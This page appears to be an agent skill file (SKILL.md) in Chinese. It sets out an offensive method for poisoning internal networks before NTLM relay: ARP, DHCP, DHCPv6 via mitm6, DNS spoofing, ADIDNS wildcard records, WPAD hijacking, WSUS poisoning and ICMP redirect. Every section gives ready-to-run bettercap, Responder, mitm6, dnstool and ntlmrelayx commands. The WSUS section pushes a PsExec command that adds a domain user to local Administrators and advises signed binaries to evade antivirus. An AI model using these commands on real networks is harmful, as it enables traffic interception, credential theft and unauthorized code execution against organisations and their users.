network-poisoning-attack

$npx mdskill add wgpsec/AboutSecurity/network-poisoning-attack

Poison network protocols to trigger NTLM relay authentication.

  • Enables MITM attacks by corrupting ARP, DHCP, and DNS traffic.
  • Requires physical network access and domain credentials for injection.
  • Selects attack vectors based on network topology and environment.
  • Delivers poisoned packets via bettercap, Responder, and Inveigh.

SKILL.md

.github/skills/network-poisoning-attackView on GitHub ↗
---
name: network-poisoning-attack
description: "内网渗透中的网络层投毒和协议欺骗攻击方法论。当需要通过网络投毒获取 NTLM 认证、实现中间人攻击时使用。覆盖 ARP 投毒、DHCP 投毒、DHCPv6/mitm6 欺骗、DNS 欺骗、ADIDNS 记录注入、WPAD 劫持、WSUS 投毒、ICMP 重定向、NBT Name Overwrite。通常作为 NTLM relay 攻击的前置步骤。"
metadata:
  tags: "arp poisoning,dhcp poisoning,dhcpv6,mitm6,dns spoofing,adidns,wpad,wsus,icmp redirect,nbt name overwrite,mitm,中间人,投毒,欺骗,bettercap,ettercap,dnstool,pywsus,responder,inveigh"
  category: "lateral"
---

# 网络层投毒与欺骗攻击

通过污染网络层协议(ARP、DHCP、DNS、WPAD 等)实现中间人定位或强制认证触发,是 NTLM relay 攻击最常用的前置步骤。

## 触发条件

- 内网需要通过网络投毒获取凭证或实现中间人
- 需要作为 NTLM relay 的前置步骤进行投毒
- 需要 ARP/DHCP/DHCPv6/DNS/WPAD/WSUS 投毒

## 前置要求

- 同网段物理接入(大部分技术要求同广播域)
- 域用户凭证(ADIDNS 注入需要)
- 工具: bettercap, Responder, mitm6, dnstool.py, Inveigh, pywsus, dnschef

## 技术选择决策树

```
网络位置与条件?
├── 同广播域
│   ├── 快速 MITM → ARP 投毒 (高检测风险)
│   ├── IPv6 未禁用 → DHCPv6/mitm6 (推荐)
│   ├── DHCP 环境 → DHCP 投毒
│   └── 被动监听 → LLMNR/NBT-NS (已有 → ntlm-relay-attack)
├── 域环境 + 域凭证
│   ├── ADIDNS 记录注入 (最稳定)
│   └── WPAD 劫持 (结合 ADIDNS/DHCPv6)
├── WSUS 使用 HTTP
│   └── WSUS 投毒
└── DNS 已控制
    └── DNS 欺骗
```

## 技术对比表

| 投毒方式 | 前置条件 | 检测风险 | 适用场景 |
|----------|----------|----------|----------|
| ARP 投毒 | 同广播域 | 高 (ARP 异常) | 快速 MITM,需即时效果 |
| DHCP 投毒 | 同广播域 | 中 | 持久 DNS/WPAD 注入 |
| DHCPv6/mitm6 | IPv6 未禁用 | 低 | 推荐,隐蔽获取 NTLM |
| DNS 欺骗 | 已控制 DNS 流量 | 低 | 精准域名劫持 |
| ADIDNS 注入 | 域凭证 | 极低 | 最稳定,域级 DNS 投毒 |
| WPAD 劫持 | 见各子方式 | 中 | 透明代理捕获认证 |
| WSUS 投毒 | HTTP WSUS | 中 | 代码执行 (非凭证) |
| ICMP 重定向 | 同网段 | 低 | 现代 OS 多忽略 |

---

## 1. ARP 投毒

### 原理

ARP 协议无认证机制,攻击者发送伪造 ARP 响应将自身 MAC 地址绑定到网关或目标 IP,实现流量劫持。分为双向(fullduplex)和单向投毒。

### 核心命令

```bash
# bettercap 交互模式
bettercap -iface eth0

# 单向投毒(仅欺骗目标,让目标流量经过攻击者)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false
arp.spoof on

# 双向投毒(同时欺骗目标和网关)
set arp.spoof.targets $CLIENT_IP
set arp.spoof.fullduplex true
arp.spoof on

# 开启 IP 转发(Linux)
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT
```

### SMB 场景:any.proxy 重定向到攻击者 445

```bash
# 将目标发往 $SERVER_IP:445 的流量重定向到攻击者
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy on
```

### IP 伪装绕过(SNAT/DNAT)

```bash
# 当目标检查源 IP 时,需要 iptables NAT 伪装
iptables -t nat -A PREROUTING -p tcp -d $SERVER_IP --dport 445 -j DNAT --to-destination $ATTACKER_IP:445
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP --dport 445 -j SNAT --to-source $SERVER_IP
```

### Relay 衔接

ARP 投毒获得 MITM 位置后,使用 any.proxy 将 SMB/HTTP 流量重定向到 ntlmrelayx 监听端口。

---

## 2. DHCP 投毒

### 原理

通过 Responder 的 DHCP 模式响应客户端 DHCP 请求,注入恶意 DNS 服务器或 WPAD 配置。效果持续到客户端 DHCP 租约过期或重启。

### 核心命令

```bash
# DNS 注入模式(注入 DNS + WPAD)
responder -I "eth0" -wPdD

# 仅 WPAD 注入
responder -I "eth0" -wPd

# -d: DHCP 响应中注入 DNS
# -D: DHCP 响应中注入 WPAD
# -w: 启动 WPAD rogue proxy
# -P: 强制 NTLM 认证(Proxy Auth)
```

### Relay 衔接

```bash
# WPAD 注入 + ntlmrelayx 作为代理
ntlmrelayx.py -t $TARGET --http-port 3128
# Responder 将 WPAD 配置指向 $ATTACKER_IP:3128
```

---

## 3. DHCPv6/mitm6(推荐)

### 原理

Windows 默认启用 IPv6 且优先使用 IPv6 DNS。mitm6 伪装 DHCPv6 服务器为目标分配 IPv6 DNS,将所有 DNS 查询指向攻击者。隐蔽性高,对 IPv4 网络无影响。

### 核心命令

```bash
# 启动 mitm6
mitm6 --interface eth0 --domain $DOMAIN

# 指定目标(减少影响范围)
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAME
```

### bettercap 替代方案

```bash
set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
set dns.spoof.domains *.$DOMAIN
dns.spoof on
```

### Relay 衔接

```bash
# 经典组合:mitm6 + ntlmrelayx
# 终端 1
mitm6 -d $DOMAIN

# 终端 2
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# -wh: 设置 WPAD 主机名,触发 HTTP 认证
# --delegate-access: 自动配置 RBCD
```

---

## 4. DNS 欺骗

### 原理

在已获得 MITM 位置(ARP 投毒等)后,拦截并篡改 DNS 响应,将目标域名解析到攻击者 IP。需要先有流量劫持能力。

### 核心命令

```bash
# dnschef(独立 DNS 代理)
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53

# 指定域名
dnschef --fakedomains $DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP

# Responder 内置 DNS
responder -I "eth0"

# bettercap dns.spoof
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on
```

### Relay 衔接

DNS 欺骗将目标对特定服务的访问重定向到攻击者,配合 ntlmrelayx 捕获认证请求。

---

## 5. ADIDNS 记录注入

### 原理

Active Directory 集成 DNS(ADIDNS)默认允许任何域用户创建新的 DNS 子对象。通过添加通配符记录(*),可将所有未明确定义的 DNS 查询解析到攻击者 IP。这是最稳定、检测风险最低的投毒方式。

### 核心命令

```bash
# 检查是否存在 WINS forward lookup(type 65281,会干扰通配符)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC

# 添加通配符记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC

# 指定 DNS 分区(--legacy 用于旧 DNS 区域,--forest 用于森林级)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC

# 清理(务必在完成后执行)
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC
```

### Powermad 替代

```powershell
# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加指定记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IP
```

### Inveigh 自动化

```powershell
# 自动 ADIDNS 注入 + 投毒
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# combo: 通配符 + NS 记录组合
# ADIDNSThreshold: 未解析查询达到阈值后才注入(降低误报)
```

### Relay 衔接

通配符记录使所有不存在的主机名解析到攻击者,配合 Responder/ntlmrelayx 自动捕获认证。

---

## 6. WPAD 劫持

### 原理

WPAD(Web Proxy Auto-Discovery)解析链:DHCP Option 252 → DNS 查询 wpad.$DOMAIN → LLMNR/NBT-NS 广播。劫持任一环节即可让目标通过攻击者代理上网,触发 NTLM 认证。

### 旧系统(未打 MS16-077)

```bash
# LLMNR/NBT-NS 响应 WPAD 查询
responder -I "eth0" -wP
# -w: WPAD rogue proxy
# -P: 强制 Proxy NTLM 认证
```

### 新系统(GQBL bypass)

MS16-077 后 WPAD 不再通过广播解析,需要 ADIDNS 注入绕过:

```bash
# 方式 1: 添加 wpad A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC

# 方式 2: 添加 NS 记录委派
```

```powershell
# PowerShell NS 记录(将 wpad 子域委派到攻击者)
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 攻击者运行 dnschef 响应 wpad 查询
```

### DHCPv6 方式

```bash
# 当 DNS 中 wpad 记录已存在但指向错误时
mitm6 --domain $DOMAIN
# mitm6 通过 DHCPv6 让目标使用攻击者 DNS,直接控制 wpad 解析
```

### Relay 衔接

WPAD 代理自动触发 HTTP NTLM 认证,直接转发到 ntlmrelayx。

---

## 7. WSUS 投毒

### 原理

如果 WSUS(Windows Server Update Services)使用 HTTP 而非 HTTPS,攻击者可在 MITM 位置下替换更新包,实现代码执行。注意这是代码执行而非凭证获取。

### 检查 WSUS 配置

```bash
# 远程查询(需要访问权限)
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
# 如果是 http:// 开头 → 可投毒
```

### 核心命令

```bash
# 启动恶意 WSUS 服务器
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
  --executable /path/to/PsExec64.exe \
  --command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'
```

### bettercap 流量重定向

```bash
# ARP 投毒后重定向 WSUS 流量
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
any.proxy on
```

### 补充说明

- CVE-2020-1013: WSUS 本地提权漏洞,可在本地利用
- 触发更新检查: `wuauclt /detectnow /updatenow` 或 `UsoClient StartScan`
- 推荐使用 LOLBin(PsExec64.exe 等签名二进制)避免触发 AV

### Relay 衔接

WSUS 投毒主要用于代码执行,不直接衔接 NTLM relay。

---

## 8. ICMP 重定向

### 原理

ICMP Redirect 消息通知主机更优路由路径,攻击者伪造 ICMP Redirect 将目标流量重定向到自身。但现代 OS(Windows 10+、Linux 默认)大多忽略 ICMP Redirect。

### 核心命令

```bash
python3 tools/Icmp-Redirect.py \
  --interface eth0 \
  --ip $ATTACKER_IP \
  --gateway $GATEWAY \
  --target $TARGET \
  --route $DNS_SERVER
```

### 实用价值

有限。现代操作系统默认禁用或忽略 ICMP Redirect,仅在特定老旧环境中有效。

---

## 9. NBT Name Overwrite

### 原理

NetBIOS 名称覆盖攻击通过发送 NetBIOS Name Overwrite 包修改目标的名称表,将特定名称关联到攻击者 IP。

### 现状

实际工具支持有限,主要作为理论参考。在实战中优先使用 ADIDNS 或 DHCPv6 等更可靠的方式。

---

## 组合利用示例

### mitm6 + ntlmrelayx(最常用)

```bash
# 终端 1: DHCPv6 投毒
mitm6 -d $DOMAIN

# 终端 2: LDAP relay + RBCD
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
```

### ADIDNS + Responder + relay

```bash
# Step 1: 注入通配符 DNS 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC

# Step 2: 启动 Responder(关闭 SMB/HTTP)
responder -I eth0

# Step 3: 启动 ntlmrelayx
ntlmrelayx.py -t $TARGET -smb2support
```

---

## 深入参考

- → [references/layer2-poisoning.md](references/layer2-poisoning.md) — ARP/DHCP/DHCPv6/ICMP 投毒详细命令与配置
- → [references/name-resolution-poisoning.md](references/name-resolution-poisoning.md) — ADIDNS/WPAD/WSUS/DNS 欺骗完整攻击链

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|